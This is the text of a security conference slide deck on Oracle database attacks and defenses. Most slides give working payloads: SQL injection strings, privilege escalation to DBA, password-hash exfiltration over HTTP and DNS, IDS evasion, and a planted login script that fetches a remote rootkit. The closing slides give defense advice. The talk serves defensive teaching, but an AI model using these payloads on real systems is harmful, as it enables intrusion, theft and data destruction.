Hack Your Database

Before The Hackers Do

Slavik Markovich
CTO, Sentrigo
About Me

 Co-founder and CTO of Sentrigo

 Frequent presenter in Oracle and Security
conferences
 DBA since 1996
 Creator of FuzzOr – a free Oracle Fuzzer
 http://www.slaviks-blog.com
Agenda

 Common DB Attack Vectors

 SQL Injection in Oracle
 Exploiting SQL Injection
• In-band
• Out-of-band
• Blind
 Advanced Techniques
 SQL Injection within the database
 Protecting against SQL injection
Security Problems

 Weak / default passwords + poorly encrypted

 Misconfigurations

Missing security patches/patchsets/old versions/0days
 Excessive privileges

Unsecured Listener

External resources
• Contractors, outsourcing, etc.
 No internal network boundaries

No encryption of data in motion and at rest
 No monitoring of access and logs
Database Attack Vectors

 OS attacks
 Network attacks
 SQL Injection
• Many types and methods
 Buffer Overflows
 DB Engine bugs
 Password attacks
 Coffee Attack
OS Attacks

 Direct file access

• Bypassing AAA
• DoS
• Blackmail
 Binary patching
• Rootkits / back doors
 Memory direct access
 Process attacks
 Client attacks
Network Attacks

 Buffer Overflows
 DoS
 Reconnaissance
 Protocol Violations
Buffer Overflows

declare
buff varchar2(32767);
begin
/* generate evil buffer */
buff:='12345678901234567890123456789';
buff:=buff||buff;
buff:=buff||buff;
buff:=buff||buff;
buff:=buff||buff;
buff:=buff||buff;
buff:=buff||'0012345678901234567890123sh2kerr';
/* lets see the buffer size */
dbms_output.put_line('BUFFER SIZE:'||Length(buff));
xDb.XDB_PITRIG_PKG.PITRIG_TRUNCATE(buff,buff);
end;
Database Engine Bugs

 By using specially crafted views it is

possible to insert/update/delete data
from/into a table without having the
appropriate Insert/Update/Delete-Privileges
– Patched CPU July 2007
Database Engine Bugs – Cont'

create view hackdual as

select * from dual
where dummy in (select * from dual);

delete from hackdual;

create view em_em as

select e1.ename,e1.empno,e1.deptno
from scott.emp e1, scott.emp e2
where e1.empno=e2.empno;

delete from em_em;

Password Attacks

 Intercept Password (hash) on the network (e.g Wireshark)

 Watching the keyboard (e.g. Shoulder surfing, camera)
 Keylogger (e.g. Software, USB, PS/2 or built into the
keyboard)
 Brute force attack (e.g. with woraauthbf)
 Dictionary attack (e.g. with checkpwd or repscan)
 Rainbow Table attack (e.g. with ophcrack or cain)
 Dictionary based rainbow table attack (e.g. repscan or
ophcrack)
 Authentication attack (e.g. with woraauthbf or orakel)
Choosing Passwords

 Oracle Passwords are often identical for many databases

 DBAs have the problem to choose passwords for several
different databases
 At least 4 passwords per database (SYS, SYSTEM,
OUTLN and DBSNMP) must be choosen
 Nobody can remember hundreds of different and good
passwords
 Most DBAs are using the same password for ALL
databases. If you have 1 password, you have access to all
databases
Choosing Passwords

 Common Approaches for Oracle

Databases
• Choose the same password for every database
• Use a password schema using a prefix/postfix
P=production, T=test, E=education (e.g Tpassword)
• Append the SID(e.g. Passwordora902)
• Use the computer name (e.g. passwordUNIX04)
 Check password strength
• http://www.securitystats.com/tools/password.php
The Human Factor – Coffee Attack

 Wait for your DBA to go for a coffee break

 Search the file login.sql or glogin.sql on the
DBA workstation
 Add –“drop user system cascade” or
(“@http://www.attacker.com/installrootkit.sq
l” or
-------------glogin.sql-------------------------
set term off
grant dba to SLAVIK identified by OWNYOURDB;
set term on
-------------glogin.sql-------------------------
0day Attacks

Reported by David Litchfield

* Weaponize Java Output

SELECT
DBMS_JAVA.SET_OUTPUT_TO_JAVA('ID','oracle/aurora/rdbm
s/DbmsJava','SYS', 'writeOutputToFile','TEXT', NULL,
NULL, NULL, NULL, 0, 1, 1, 1, 1, 0,
'DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE
IMMEDIATE ''GRANT DBA TO PUBLIC''; END;', 'BEGIN
NULL; END;') FROM DUAL;

* Call publicly available Java package

EXEC DBMS_CDC_ISUBSCRIBE.INT_PURGE_WINDOW(
'NO_SUCH_SUBSCRIPTION', SYSDATE());
SQL Injection - Wikipedia

A technique that exploits a security

vulnerability occurring in the
database layer of an application.
The vulnerability is present when user
input is either incorrectly filtered for
string literal escape characters
embedded in SQL statements or
user input is not strongly typed and
thereby unexpectedly executed.
Breach Example - Heartland

 4 or more criminals (one previously convicted

in TJX and many more hacks) hacked into
outward facing application using SQL Injection
 Used backend SQL server to take control of
other systems
 Found workstation with VPN connection open to
payment systems
 Result: estimated 130 million credit
and debit card numbers stolen
from databases
 Could it be stopped?
SQL Injection

 Exists in any layer of any application

• C/S and Web Applications
• Stored program units
● Built in

● User created

 Has many forms

• Extra queries, unions, order by, sub
selects
Simple Example

Statement stmt = conn.createStatement();

ResultSet rs = stmt.executeQuery(
"select * from user_details where user_name
= '" + username + "' and password = '" +
password + "'");

username = "' or 1=1 --"

What's Unique About Oracle - I

 No stacked queries
• Cannot add “; do something nasty”
select * from AdventureWorks.HumanResources.Employee where
EmployeeID = 1; EXEC master.dbo.xp_sendmail
@recipients=N'[email protected]',
@query = N'select user, password from sys.syslogins
where password is not null' ;

• Unless you get really lucky to be injected into

PL/SQL
What's Unique About Oracle - II

 Native error messages are not controlled

• SQL Server
select * from users where username = ''
having 1=1 -- and password = ''
Msg 8120, Level 16, State 1, Line 1
Column 'users.username' is invalid in the
select list because it is not contained in
either an aggregate function or the GROUP BY
clause.
What's Unique About Oracle - III

 No easy way to escape DB to OS

• No convenient xp_cmdshell
 No easy way to do time based blind SQL
injection (more later)
• No convenient WAITFOR DELAY
 Although very large attack surface, very
hard to take advantage from within
SELECT statements
Identifying SQL Injection - Web

 Find a target via Google ("Google dorks")

• ociparse, ociexecute, OCIStmtExecute
• ORA-01756, 907, 933, 917, 900, 903, 906,
923, 970, 1742, 1789
• Oracle+JDBC+Driver
• inurl:/pls/portal30
 Web application security scanner
(Acunetix, Pangolin, SQLMap)
 Manually
• Pass in '
SQL Injection Types

 In band – Use injection to return extra data

• Part of normal result set (unions)
• In error messages
 Out of band – Use alternative route like
UTL_HTTP, DNS to extract data
 Blind / Inference – No data is returned but
the hacker is able to infer the data using
return codes, error codes, timing
measurements and more
SQL Injection In-Band - Unions

 In the previous example pass username as

"' and 1=0 union select banner from
v$version where rownum = 1 --"

 So the statement becomes

select * from user_details where user_name =
'' and 1=0 union select banner from
v$version where rownum = 1 --' and password
= ''
 Find number of columns by adding nulls to
the column list or by using order by #
SQL Injection In-Band – Errors - I

SQL> select utl_inaddr.get_host_name('127.0.0.1') from

dual;
localhost
SQL> select utl_inaddr.get_host_name((select
username||'='||password
from dba_users where rownum=1)) from dual;
select utl_inaddr.get_host_name((select
username||'='||password from dba_users where rownum=1))
from dual
*
ERROR at line 1:
ORA-29257: host SYS=8A8F025737A9097A unknown
ORA-06512: at "SYS.UTL_INADDR", line 4
ORA-06512: at "SYS.UTL_INADDR", line 35
ORA-06512: at line 1
SQL Injection In-Band – Errors - II

 utl_inaddr.get_host_name is blocked by
default on newer databases
 Many other options
• dbms_aw_xml.readawmetadata
• ordsys.ord_dicom.getmappingxpath
• ctxsys.drithsx.sn
' or dbms_aw_xml.readawmetadata((select
sys_context('USERENV', 'SESSION_USER') from
dual), null) is null --
SQL Injection Out-of-band

 Send information via HTTP to an external site via

HTTPURI
select HTTPURITYPE('http://www.sentrigo.com/'||
(select password from dba_users where rownum=1) ).getclob()
from dual;
 Send information via HTTP to an external site via utl_http
select utl_http.request ('http://www.sentrigo.com/'||
(select password from dba_users where rownum=1)) from dual;
 Send information via DNS (max. 64 bytes) to an external
site
select utl_http.request ('http://www.'||(select password
from dba_users where rownum=1)||'.sentrigo.com/' )
from dual;
DNS-Request: www.8A8F025737A9097A.sentrigo.com
Blind SQL Injection - I

 A guessing game
 Binary results – either our
guess is true or it is false
 Requires many more
queries
• Time consuming and
resource consuming
• Can benefit from
parallelizing
• Must be automated
Blind SQL Injection - I

Pseudo-Code:
If the first character of the sys-hashkey is a
'A'
then
select count(*) from all_objects,all_objects
else
select count(*) from dual
end if;
Blind SQL Injection - II

 Either use decode or case statements

 Customary used with short or long queries
since dbms_lock.sleep is not a function
 Can be used with functions that receive a
timeout like dbms_pipe.receive_message
' or 1 = case when substr(user, 1, 1) = 'S'
then dbms_pipe.receive_message('kuku', 10)
else 1 end --
' or 1 = decode(substr(user, 1, 1) = 'S',
dbms_pipe.receive_message ('kuku', 10), 1)
Advanced Techniques – Evasion - I

 Concatenation
' or dbms_aw_xml.readawmetadata((select sys_context('US' ||
'ERENV', 'SESS' || 'ION_US' || 'ER') from dual), null) is
null --
 Changing case
' or dbMS_aW_xMl.reAdaWmetaData((select sYS_cONtExt('US' ||
'ERENV', 'SESS' || 'ION_US' || 'ER') from dUAl), null) is
null –
 Using alternative functions
• Instead of UTL_INADDR
• dbms_aw_xml.readawmetadata
• ordsys.ord_dicom.getmappingxpath
• ctxsys.drithsx.sn
Advanced Techniques – Evasion - II

 Conversions
• Translate
begin
dbms_output.put_line(translate('userenv','qwertyuiopasdfghj
klzxcvbnm(),.0123456789|;[]''','][;|9876543210.,)
(mnbvcxzlkjhgfdsapoiuytrewq~'));end;
72;|;zc
• CHR
' or dbms_aw_xml.readawmetadata((select
sys_context(chr(85)||chr(83)||chr(69)||chr(82)||chr(69)||
chr(78)||chr(86), chr( 68)||chr(66)||chr(95)||chr(78)||
chr(65)||chr(77)||chr(69)) from dual), null) is null --
• Base64
dbms_output.put_line(utl_encode.text_encode('userenv',
'WE8ISO8859P1', UTL_ENCODE.BASE64));end;
/
dXNlcmVudg==
Advanced Techniques – Evasion - III

 Comments instead of spaces

'/**/or/**/dbms_aw_xml.readawmetadata((select/**/sys_contex
t(chr(85)||chr(83)||chr(69)||chr(82)||chr(69)||chr(78)||
chr(86), chr( 68)||chr(66)||chr(95)||chr(78)||chr(65)||
chr(77)||chr(69))/**/from/**/dual),null)/**/is/**/null--
 Randomization
• All of the above techniques used in random
Advanced Techniques – Data - I

 Combining multiple rows into one result

• STRAGG – available from 11g, sometimes
available as a custom function in earlier
versions. Be careful as the implementation
seems to be buggy and can crash your
session.
' or dbms_aw_xml.readawmetadata((select
sys.stragg(username || ',') from all_users),
null) is null --
Advanced Techniques – Data - II

 Combining multiple rows into one result

• XML
' or dbms_aw_xml.readawmetadata((select xmltransform
(sys_xmlagg(sys_xmlgen(username)),xmltype('<?xml
version="1.0"?><xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"><xsl:templ
ate match="/"><xsl:for-each
select="/ROWSET/USERNAME"><xsl:value-of
select="text()"/>;</xsl:for-
each></xsl:template></xsl:stylesheet>')).getstringval()
listagg from all_users), null) is null --
Advanced Techniques – Data - III

 Combining multiple rows into one result

• Connect By
' or dbms_aw_xml.readawmetadata((SELECT SUBSTR
(SYS_CONNECT_BY_PATH (username, ';'), 2) csv FROM (SELECT
username , ROW_NUMBER() OVER (ORDER BY username ) rn, COUNT
(*) OVER () cnt FROM all_users) WHERE rn = cnt START WITH
rn = 1 CONNECT BY rn = PRIOR rn + 1
), null) is null --
SQL Injection – PL/SQL

 Two execution modes

• Definer rights
• Invoker rights
 Source code not always available
• There are several un-wrappers available
• One can find injections without source
• Find dependencies
• Trial and error
• v$sql
• Fuzzer
• Oracle Patches
Demo Procedure
SQL Injection – Inject SQL

SCOTT> set serveroutput on

SCOTT> exec sys.retrieve_data_bad('SCOTT', 'EMP', 1)
EMPNO = 7369
ENAME = SMITH
JOB = CLERK
MGR = 7902
HIREDATE = 17-DEC-80
SAL = 800
COMM =
DEPTNO = 20
SQL Injection – Inject SQL

SCOTT> exec sys.retrieve_data_bad('dual where 1=2 union

select name || '':'' || password from user$ where user#
= 0--', null);
DUMMY = SYS:8A8F025737A9097A

SELECT * FROM dual where 1=2 union select name || ':' ||

password from user$ where user# = 0--. WHERE ROWNUM <= 10
SQL Injection – Inject Functions

CREATE OR REPLACE FUNCTION attack

RETURN VARCHAR2
AUTHID CURRENT_USER
IS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';
RETURN '1';
END attack;
/
SQL Injection – Inject Functions

SCOTT> exec sys.retrieve_data_bad('dual where ''x'' =

scott.attack() --', null)
PL/SQL procedure successfully completed.

SCOTT> select * from user_role_privs;

USERNAME GRANTED_ROLE ADM DEF OS_
--------------------- ------------------------ --- --- ---
SCOTT DBA NO YES NO
SCOTT CONNECT NO YES NO
SCOTT RESOURCE NO YES NO

* The resulting SQL

SELECT * FROM dual where 'x' = scott.attack() --. WHERE ROWNUM <=
10
SQL Injection – Cursor Injection

DECLARE
l_cr NUMBER;
l_res NUMBER;
BEGIN
l_cr := dbms_sql.open_cursor;
dbms_sql.parse(l_cr,
'DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN
EXECUTE IMMEDIATE ''GRANT dba to public''; END;',
dbms_sql.native);
sys.retrieve_data_bad('dual where 1 = dbms_sql.execute('
|| l_cr || ') --', null);
END;
/
* Does not work in 11g
SQL Injection – IDS Evasion

DECLARE
l_cr NUMBER;
l_res NUMBER;
BEGIN
l_cr := dbms_sql.open_cursor;
dbms_sql.parse(l_cr,
translate('1;vm3|; 4|3.l3 3795z5l572_9|3z23v965ze x;.6z
;b;v79; 6ll;1639; ~.|3z9 1x3 95
47xm6v~e ;z1e',
'][;|9876543210.,)(mnbvcxzlkjhgfdsapoiuytrewq~',
'qwertyuiopasdfghjklzxcvbnm(),.0123456789|;[]'''),
dbms_sql.native);
sys.retrieve_data_bad('dual where 1 = dbms_sql.execute(' ||
l_cr || ') --', null);
END;
/
Defense - Developers

 Use static SQL – 99% of web applications should never

use dynamic statements
 Use bind variables – where possible
 Always validate user/database input for dynamic
statements (dbms_assert)
 Be extra careful with dynamic statements - get 3 people
who do not like you to review and approve your code
 Use programmatic frameworks that encourage (almost
force) bind variables
• For example: Hibernate (Java O/R mapping)
 Database schema for your application should have
minimal privileges
Defense - Developers

 Avoid hard-coding username/password

 Wrap sensitive/important program code – even if not
really safe
 Use fully qualified names for function and procedure
calls
 Use invoker rights
 Be careful with file access
 Be careful with OS command execution
 Never return DB errors to the end-user
Defense - Managers

 Setup secure coding policies for the

different languages
 Make the coding policies part of every
contract –external and internal
 Default document for all developers
 OWASP guides, DISA stigs
Defense - DBAs

 Apply patch sets, upgrades and CPUs

• Easier said than done
 Check for default and weak passwords regularly
 Secure the network
• Listener passwords
• Valid node checking + firewall
 Use encryption where appropriate
 Install only what you use, remove all else
• Reduce your attack surface
 The least privilege principle
• Lock down packages
 System access, file access, network access
Defense - Awareness

 Think like a hacker

• Learn about exploits
• Always look for security issues
 Configuration, permissions, bugs
 Learn and use available tools
• SQLMap, Pangolin, Matrixay, darkOraSQLi.py,
SQLPowerInjector, mod_security, OAK,
bfora.pl, checkpwd, orabf, nmap, tnsprobe,
WinSID, woraauthbf, tnscmd, Inguma,
Metasploit, Wireshark, Hydra, Cryptool, etc.
Defense - Hedgehog

 Try Hedgehog -
http://www.sentrigo.com
• Virtual patching
• SQL Injection protection
• Fine grain auditing
• Centralized management
• More…
 Try Repscan
• Weak passwords
• Missing patches / CPUs
• Malware detection
• More...
Questions?

Visit us at our booth to discuss